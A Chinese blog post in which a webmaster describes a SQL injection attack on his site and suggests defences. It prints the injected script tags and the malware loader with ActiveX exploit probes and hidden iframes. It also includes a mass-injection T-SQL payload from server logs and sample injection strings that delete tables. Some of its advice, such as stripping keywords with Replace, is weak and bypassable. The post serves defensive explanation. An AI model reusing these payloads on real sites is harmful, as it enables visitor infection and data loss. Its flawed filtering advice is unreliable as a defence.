最近好多网站都受到SQL注入与解决方案

1.现象

今天发现自己的网站被SQL注入了 :(
首先,看到  页面包含了 <script src=http://s.see9.us/s.js></script>

还有,页面有大量的类似如下的内容
<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr'      width=50    border=0>

<script src=http://%61%31%38%38%2E%77%73/1.js></script><!"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr"></title><script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js></scr


你可以用记事本打开http://a188.ws/1.js查看其内容,(不推荐用IE打开,因为那样病毒就直接会下载到你的电脑里,用记事本看看其代码就可以了)



document.writeln("<base onmouseover=\"window.status=\'完毕                                                  \';return true\">");
document.writeln("<SCRIPT language=javascript type=text\/javascript>");
document.writeln("var cookieString = document.cookie;");
document.writeln("var start = cookieString.indexOf(\"woshi0day=\");");
document.writeln("if (start != -1)");
document.writeln("{}");
document.writeln("else");
document.writeln("{");
document.writeln("var expires = new Date();");
document.writeln("expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);");
document.writeln("document.cookie = \"woshi0day=0000;expires=\" + expires.toGMTString();");
document.writeln("document.write(\"<iframe src=\/\/ii.jtren.net\/cc\/p139.htm?18 width=10 height=0><\/iframe>\");");
document.writeln("}<\/SCRIPT>");
document.writeln("<script language=\"javascript\" src=\"http:\/\/count49.51yes.com\/click.aspx?id=493330621&logo=1\"><\/script>");


在上面代码里可以看到使用了iframe,iframe指向的地址为  http://jj.jtren.net/cc/p139.htm 用记事本打开看看内容吧

<script language="javaScript">
 var cook = "silentwm";
 
 function setCookie(name, value, expire)
 {  
  window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
 }

 function getCookie(Name)
 {  
  var search = Name + "=";
  if (window.document.cookie.length > 0)
  {
   offset = window.document.cookie.indexOf(search);
   if (offset != -1)
   {
    offset += search.length;      
     end = window.document.cookie.indexOf(";", offset)      
     if (end == -1)
       end = window.document.cookie.length;
     return unescape(window.document.cookie.substring(offset, end));
    }
   }
   return null;
 }

 function register(name)
 {
  var today = new Date();
  var expires = new Date();
  expires.setTime(today.getTime() + 1000*60*60*24);
  setCookie(cook, name, expires);
 }

 function openWM()
 {
  var c = getCookie(cook);
  if (c != null)
  {
    return;
  }
  
  register(cook);
  
  window.defaultStatus="完成";
   
  try{ var e;
   var ado=(document.createElement("object"));
   ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
   var as=ado.createobject("Adodb.Stream","")}
  catch(e){};
  finally{
   if(e!="[object Error]"){
    document.write("<iframe width=50 height=0 src=http://ii.jtren.net/14.htm></iframe>")}
   else
   { 
    try{ var j;
     var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
    catch(j){};
    finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
                                        {document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real.htm></iframe>')}
                         else
                         {
     document.write('<iframe width=100 height=0 src=http://ii.jtren.net/real11.htm></iframe>')}}}

    try{ var g;
     var glworld=new ActiveXObject("GLAVATAR.GLAvatarCtrl.1");}
    catch(g){};
    finally{if(g!="[object Error]"){
     document.write('<iframe style=display:none src=http://ii.jtren.net/lz.htm></iframe>')}}

    try{ var h;
     var storm=new ActiveXObject("MPS.StormPlayer.1");}
    catch(h){};
    finally{if(h!="[object Error]"){
     document.write('<iframe style=display:none src=http://ii.jtren.net/bfyy.htm></iframe>')}}

    try{ var f;
     var thunder=new ActiveXObject("DPClient.Vod");}
    catch(f){};
    finally{ if(f!="[object Error]"){
     document.write('<iframe width=50 height=0 src=xl.htm></iframe>')}}

   }}
 }

openWM();
</script>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1862269.js"></script>
通过代码可以看到,这里使用了这是一个RealPlayer(IERPCtl.IERPCtl.1)漏洞,属于蠕虫病毒变异种  目前有Worm.Win32.Otwycal.a  Worm.Win32.Otwycal.b  Worm.Win32.Otwycal.c 3类变种
一但感染了这个病毒,电脑里面所有扩展名为*.EXE的所以程序都会被这个病毒破坏,中毒现象:运行程序提示程序错误


2.原因

 上面说的是用户打开你的网站时,你的电脑可能中毒病毒,相信很多站长自己是不愿意放病毒代码的,出现这个原因是网站漏洞,具体的说是该病毒攻击者利用SQL技术,进行注入,下面是SQL注入的简单介绍
下面是一个典型的aspx页面显示的信息
http://www.19cn.com/showdetail.asp?id=49

但是攻击者可以进行注入,事实上上面代码很容易猜测出你的页面执行的SQL语句,例如可能为
string id=Request.QueryString["id"];
string sql="select * from table where id="+id;

但是上面的代码及其脆弱,例如访问者把你的地址改成
http://www.19cn.com/showdetail.asp?id=49 and 1=1
页面执行正常。

http://www.19cn.com/showdetail.asp?id=49 and 1=2
则页面执行错误,如果你的网站显示错误信息,攻击者很容易看到错误原因。

更为严重的是,攻击者可以编写更多了SQL语句,例如
http://www.19cn.com/showdetail.asp?id=49 ;delete from table
那么你代码里最终拼凑的SQL为
string sql="select * from table where id=49 ;delete from table
在SQL里分号是语句指向的结束,上面的SQL语句将直接删除table里的所有数据。

解决方法
我们建议你使用存储过程,因为存储过程会进行类别判断,例如上面代码写成存储过程是,类似如下
SqlParameter p=new SqlParameter("id",Int32);
在这里,当用户再次输入
http://www.19cn.com/showdetail.asp?id=49 ;delete from table

网址时,由于系统将对代码进行转换(即吧id为 49;delete from table)转化为int类型,此时转换失败,所以可以防止别人攻击,而且不影响访问。
对于整形,你也可以使用如下简单代码
try
{
int.Parse(Request.QueryString["id"]);
}
catch
{
Response.End();

}
在这里,当检查id值非法时,直接中止页面运行也是可以很好解决的。



上面介绍的是对int类型的解决,相对于int类型,字符串要复杂的很多,例如在搜索时,可能的URL为
http://www.19cn.com/search.aspx?key=asp.net
那么你的sql语句可能为
string key=Request.QueryString["key"];
string sql="select * from table where keyword like '"+key+"'";
在这里如果攻击你的URL为
http://www.19cn.com/search.aspx?key=asp.net' ; delete from table--
那么构造出来的SQL语句就为
select * from table where keywork like 'asp.net'; delete from table --'
请注意,--的作用,它会让最后的'字符失效,所有上面代码仍然会删除你的数据
这里常用的解决方法大字有如下几个:
1)过滤SQL常用的语句,例如
string key=Request.QueryString["key"];
key=key.Lower();
key=key.Replace("select","");
key=key.Replace("update","");
key=key.Replace("delete","");
这样把select/update/delete等命令过滤掉,另外需要注意这个代码
key=key.Lower();

也就是把请求的代码都转换为小写,因为攻击者可能故意把select 写成 SeleCT等,那样可能过滤不掉

2)过滤 “’, --”符号等
3)使用存储过程,这样即使SQL包含注入,到存储过程里也失效,这也是为什么建议大家使用存储过曾的原因 

下面是你网站收到公交时,攻击者的访问代码


http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--

http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1 218.3.207.119 - 500 0 209 281

http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 218.3.207.119 - 500 0 216 281
你可以反编码就可以知道攻击者是如何攻击你的,例如 上面的 20%代表空格等

原文地址:https://www.cnblogs.com/mqingqing123/p/1191052.html